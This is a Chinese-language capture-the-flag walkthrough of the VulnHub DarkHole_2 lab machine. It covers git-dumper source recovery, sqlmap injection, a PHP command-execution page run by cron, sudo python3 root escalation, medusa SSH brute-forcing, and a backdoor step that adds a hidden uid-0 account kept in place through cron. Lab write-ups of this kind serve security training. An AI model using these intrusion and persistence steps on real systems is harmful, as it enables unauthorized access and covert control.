VulnHub-DarkHole_2 靶机详细渗透过程

admin 2024年7月29日11:06:59评论21 views字数 9124阅读30分24秒阅读模式

靶机部署

靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip
VulnHub-DarkHole_2 靶机详细渗透过程
得到六个文件,使用虚拟机导入DarkHole_2.ovf文件
导入成功,打开虚拟机,到此虚拟机部署完成!返回到kali。

VulnHub-DarkHole_2 靶机详细渗透过程

注意---靶机和kali的网络连接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。

2. 信息收集

2.1 探测IP

使用nmap扫描同一个段下存活的IP

nmap 192.168.206.0/24

┌──(root㉿kali201)-[~]
└─# nmap 192.168.206.0/24

扫描的结果我们可以看到

Nmap scan report for 192.168.206.3
Host is up (0.00099s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:9E:13:0D (VMware)

查看网址
VulnHub-DarkHole_2 靶机详细渗透过程

2.2 详细信息扫描

使用nmap对靶机开放的端口进行更详细的扫描:

nmap -A -T4 -p- 192.168.206.3

点击查看代码

2.3 敏感目录

这里用的网站扫描工具是dirsearch,安装此工具

sudo apt-get install dirsearch #安装此工具

dirsearch -u 192.168.206.3 -e *

VulnHub-DarkHole_2 靶机详细渗透过程

扫描结果中我们发现有很多 .git 相关页面,我们应该考虑一个漏洞 git 源码泄露。

什么是git?

git 是一个版本控制工具,针对修改文件后进行的记录,方便后续历史记录的查找,你可以看到多个版本之间的差别。
当我们第一次运行.git工具时,它会自动在目录中生成个.git文件夹,里边有固定目录,记录着每个版本的差别和修改日期等相关信息。

VulnHub-DarkHole_2 靶机详细渗透过程

2.4 指纹收集

whatweb -v 192.168.206.3

VulnHub-DarkHole_2 靶机详细渗透过程

3.渗透过程

3.1 访问敏感目录

扫描敏感目录的时候扫出一个.git目录,访问一下发现确实有东西,那猜测一下这里会不会存在

VulnHub-DarkHole_2 靶机详细渗透过程

3.2 git泄露,使用git-dumper分析git文件

使用pip3安装

pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn git-dumper

使用git-dumper下载git文件夹内容到backup文件夹:

git-dumper http://192.168.11.154/.git/ backup

切换到backup文件夹,查看日志

git log 命令:如果不带任何参数,它会列出所有历史记录,最近的排在最上方,显示提交对象的哈希值,作者、提交日期、和提交说明。如果记录过多,则按Page Up、Page Down、↓、↑来控制显示;按q退出历史记录列表。

git log 查看日志

我们可以看到有三次提交,还有提交的哈希值,作者,时间等等,那么历史版本之间就有可能存在漏洞。

┌──(root㉿kali201)-[/home/tools/backup]
└─# git log
commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master)
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:14:32 2021 +0300

i changed login.php file for more secure

commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:06:20 2021 +0300

I added login.php file with default credentials

commit aa2a5f3aa15bb402f2b90a07d86af57436d64917
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:02:44 2021 +0300

First Initialize

git diff

使用git diff对比三次版本,可以获取本次你在什么地方修改了代码。
三个哈希值一个一个试,得到了一组信息

[email protected] #用户名
321 #密码

VulnHub-DarkHole_2 靶机详细渗透过程

登录网站,使用刚刚获取到的账号密码进行尝试,成功登录。

VulnHub-DarkHole_2 靶机详细渗透过程

4. SQL注入漏洞

进到页面之后发现url有id=1的参数值,这里可以试一试SQL注入漏洞,用sqlmap测试一下。

VulnHub-DarkHole_2 靶机详细渗透过程

4.1 获取当前用户的Cookie

VulnHub-DarkHole_2 靶机详细渗透过程

4.2 利用cookie进行sql注入,爆破当前数据库

使用 sqlmap 可以自动检测SQL漏洞,获取数据库信息。
sqlmap详解
https://blog.csdn.net/qq_45719090/article/details/129241110
以下是此次用到的参数信息:
-u 网站信息
--current-db 当前的数据库名
--dbs 查看数据库
--batch 遇到选项全选yes
--tables 数据库中的表
-D 对应的数据库库名
-T 对应的数据可表名
-C 对应的数据库字段名
--dump 导出数据库

sqlmap -u http://192.168.206.3/dashboard.php?id=1 --cookie PHPSESSID=adjt54ksi0pef0otit85i3qcgq --current-db

这样呢我们就得到了一个数据库名

VulnHub-DarkHole_2 靶机详细渗透过程

4.3 获取数据库darkhole_2的表名

从上边得知 current database: "darkhole_2"

sqlmap -u http://192.168.206.3/dashboard.php?id=1 --cookie PHPSESSID=adjt54ksi0pef0otit85i3qcgq -D darkhole_2 --tables --batch

VulnHub-DarkHole_2 靶机详细渗透过程

得到两个表:

ssh
users

4.4 获取敏感信息

sqlmap -u http://192.168.206.3/dashboard.php?id=1 --cookie PHPSESSID=adjt54ksi0pef0otit85i3qcgq -D darkhole_2 -T ssh -dump

VulnHub-DarkHole_2 靶机详细渗透过程

获取到用户和密码

用户 jehad
密码 fool

4.5 知道ssh的用户名和密码之后,我们可以尝试ssh连接.

VulnHub-DarkHole_2 靶机详细渗透过程

5. 提权

5.1 查看信息

id 查看权限

jehad@darkhole:~$ id
uid=1001(jehad) gid=1001(jehad) groups=1001(jehad)

发现我们并不是0用户(root)

cat /etc/passwd 查看账号

点击查看代码

1000以内是系统内部账号,1000以外是用户账号。
发现4个账户,root,lama,jehad,losy

lsat 查看用户登录历史信息

点击查看代码

sudo -l 列出当前用户可执行的命令

jehad@darkhole:~$ sudo -l
[sudo] password for jehad:
Sorry, user jehad may not run sudo on darkhole.

cat .bash_history #查看历史命令记录

VulnHub-DarkHole_2 靶机详细渗透过程

发现本地有9999端口的服务.

systemctl list-units --type=service --state=running #列出所有启动的系统服务

5.2 查看活动端口

netstat -lntp #查看所有监听端口

jehad@darkhole:~$ netstat -lntp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 ::1:9999 :::* LISTEN 35445/ssh
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -

netstat -antp #查看所有已经建立的连接

VulnHub-DarkHole_2 靶机详细渗透过程
如图所示: 可以看到 127.0.0.1:9999 端口存在活动。

查看一下本地服务的内容

curl "http://127.0.0.1:9999/?cmd=id"

VulnHub-DarkHole_2 靶机详细渗透过程

6. 计划任务提权

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。
计划任务提权的基本思路:
第一种,我们可以观察是否存在高危险的命令和运行程序,看看是否能提权。
第二种,查看是否可以通过普通用户修改里边的内容,改为ROOT运行的程序。

6.1 查看定时任务

cat /etc/crontab #查看定时任务

VulnHub-DarkHole_2 靶机详细渗透过程

我们可以看到一条有疑信息

losy cd /opt/web && php -S localhost:9999
定时任务由用户losy执行,在本地开启9999端口,接收并执行命令。

vi /etc/crontab #编辑文件
发现并不能修改

VulnHub-DarkHole_2 靶机详细渗透过程

6.2 查看目录中信息

cd /opt/web

jehad@darkhole:/$ cd /opt/web
jehad@darkhole:/opt/web$ ls -a
. .. index.php
jehad@darkhole:/opt/web$ cat index.php
<?php
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){
echo system($_GET['cmd']);
}
?>

通过上一步我们发现/opt/web目录下会定时运行HTTP服务,查看该目录下的index,发现里面是一个命令执行代码。
又因为该页面运行的权限是losy用户,所以可以使用losy用户的权限,执行系统命令

echo "Parameter GET['cmd']"; #输出内容到页面
if(isset($_GET['cmd'])){ #判断是否存在cmd参数传递的值
echo system($_GET['cmd']); #执行传递过来的命令

7. 获取losy的权限

定时任务由用户losy执行,在本地开启9999端口,接收并执行命令。访问本地的9999端口,发现cmd命令传递了进来,并显示出来。

jehad@darkhole:/opt/web$ curl http://127.0.0.1:9999
Parameter GET['cmd']jehad@darkhole:/opt/web$ curl http://127.0.0.1:9999?cmd=id
Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
uid=1002(losy) gid=1002(losy) groups=1002(losy)jehad@darkhole:/opt/web$ curl http://127.0.0.1:9999?cmd=whoami
Parameter GET['cmd']losy

查看历史记录,发现没有。去找家目录。

jehad@darkhole:~$ curl http://127.0.0.1:9999?
Parameter GET['cmd']jehad@darkhole:~$ curl http://127.0.0.1:9999?cmd=history
Parameter GET['cmd']jehad@darkhole:~$ ls
jehad@darkhole:~$

去找家目录,然后通过系统命令访问,能看到历史记录。

curl是一个命令行访问URL的工具,作用是发出网络请求,然后得到和提取数据,显示在"标准输出"(stdout)上面。可以用它构造http request报文,且可以解析服务器返回的http response,额外还支持cookie特性,可以用curl完成web浏览器的基本功能。

jehad@darkhole:~$ curl "http://127.0.0.1:9999/?cmd=id"
Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
uid=1002(losy) gid=1002(losy) groups=1002(losy)jehad@darkhole:~$

由上边可以看到这个服务是 losy 用户的。

VulnHub-DarkHole_2 靶机详细渗透过程

点击查看代码

能看到密码信息: password:gang

登录用户losy,登录成功

VulnHub-DarkHole_2 靶机详细渗透过程

8. 得到root账户

发现用户 losy 有 root身份 执行python3的权限,利用Python来提权。

losy@darkhole:~$ sudo -l
Matching Defaults entries for losy on darkhole:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User losy may run the following commands on darkhole:
(root) /usr/bin/python3

sudo /usr/bin/python3 -c 'import os;os.execl("/bin/sh","sh","-p")'

VulnHub-DarkHole_2 靶机详细渗透过程

成功得到root!大功告成。

补充

1. 暴力破解 lama 用户密码

我们发现共有四个用户
其中一个为lama,可以采用暴力破解用户密码,
这里使用medusa工具,得到 lama 用户密码为123

sudo medusa -M ssh -h 192.168.206.3 -u lama -P /usr/mima.txt -t 10 -F

VulnHub-DarkHole_2 靶机详细渗透过程

登录lama,成功登陆

VulnHub-DarkHole_2 靶机详细渗透过程

sudo -l

sudo 是Linux系统管理指令,是系统管理员允许让普通用户执行一些root命令的工具。
su 是切换用户

VulnHub-DarkHole_2 靶机详细渗透过程

我们可以看到有三个ALL,表示他有root的全部权限

第一个ALL,表示从允许从任何终端访问sudo
第二个ALL:ALL,表示sudo命令被允许任意用户,任意组执行

sudo id 发现为最高权限

lama@darkhole:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)

sudo bash #使用系统管理员进入shell

bash 是许多Linux发行版默认的shell,类似于windows的CMD命令,使用bash就是启动一个Shell,从而执行操作系统,
sudo bash 就是使用系统管理员进入shell

我们也可以通过Python执行Bash命令,从而实现启动losy用户的shell。

losy@darkhole:~$ python3
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>>
>>> os.system("whoami")
losy
0
>>> os.system("id")
uid=1002(losy) gid=1002(losy) groups=1002(losy)
0
>>> exit()
...
losy@darkhole:~$

>>>

2. losy用户提权

使用用户losy拿到root权限,我们可以用以下命令

sudo python3 #管理员权限启动python3
import os
os.system("bash")

losy@darkhole:~$ sudo python3
[sudo] password for losy:
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>>
>>> os.system("whoami")
root
0
>>> os.system("id")
uid=0(root) gid=0(root) groups=0(root)
0
>>> os.system("bash")
root@darkhole:/home/losy# whoami
root
root@darkhole:/home/losy# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.206.3 netmask 255.255.255.0 broadcast 192.168.206.255
inet6 fe80::20c:29ff:fe9e:130d prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:9e:13:0d txqueuelen 1000 (Ethernet)
RX packets 441241 bytes 311819728 (311.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 258619 bytes 36249989 (36.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8450 bytes 752185 (752.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8450 bytes 752185 (752.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

到现在我们三个用户账号都成功拿下!

此刻做一个总结:

jehad 没有sudo权限
losy 可以使用sudo执行python命令
lama 可以使用sudo执行任意命令

3. 留后门,以 losy 用户为例,特权创建账号,如此可以可以偷偷随时进入系统拜访。

在 linux 系统中,存在两个文件
/etc/passwd #存放用户名,任何权限用户都能查看

点击查看代码

/etc/shadow #存放加密后的密码,且只能用 root 账户查看
格式如下:
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell

losy@darkhole:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied

点击查看代码

创建 ocean 特权用户

losy@darkhole:~$ sudo python3
[sudo] password for losy:
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> cat /etc/passwd
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'cat' is not defined
>>>
>>> import os
>>> os.system("useradd -p `openssl passwd -1 -salt 'salt' 123456` ocean -o -u 0 -g root -G root -s /bin/bash -d /home/ocean")
ocean:x:0:0::/home/ocean:/bin/bash

创建成功,登录ocean用户
发现ssh [email protected] 登录不了

┌──(root㉿kali201)-[/usr]
└─# ssh ocean@192.168.206.3
ocean@192.168.206.3's password:
Permission denied, please try again.
ocean@192.168.206.3's password:
Permission denied, please try again.
ocean@192.168.206.3's password:
ocean@192.168.206.3: Permission denied (publickey,password).

但是可以在其他用户中切换为 ocean 用户

可以看到,ocean 用户默认显示为了 root。

losy@darkhole:~$ sudo python3
[sudo] password for losy:
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> os.system("su ocean")
root@darkhole:/home/losy# whoami
root
root@darkhole:/home/losy# id
uid=0(root) gid=0(root) groups=0(root)
root@darkhole:/home/losy#

如何害怕 ocean 用户发现被删,可以将此命令写入计划任务中,可以定时去执行这条命令。

原文始发于微信公众号(菜鸟小新):VulnHub-DarkHole_2 靶机详细渗透过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月29日11:06:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   VulnHub-DarkHole_2 靶机详细渗透过程https://cn-sec.com/archives/3009790.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息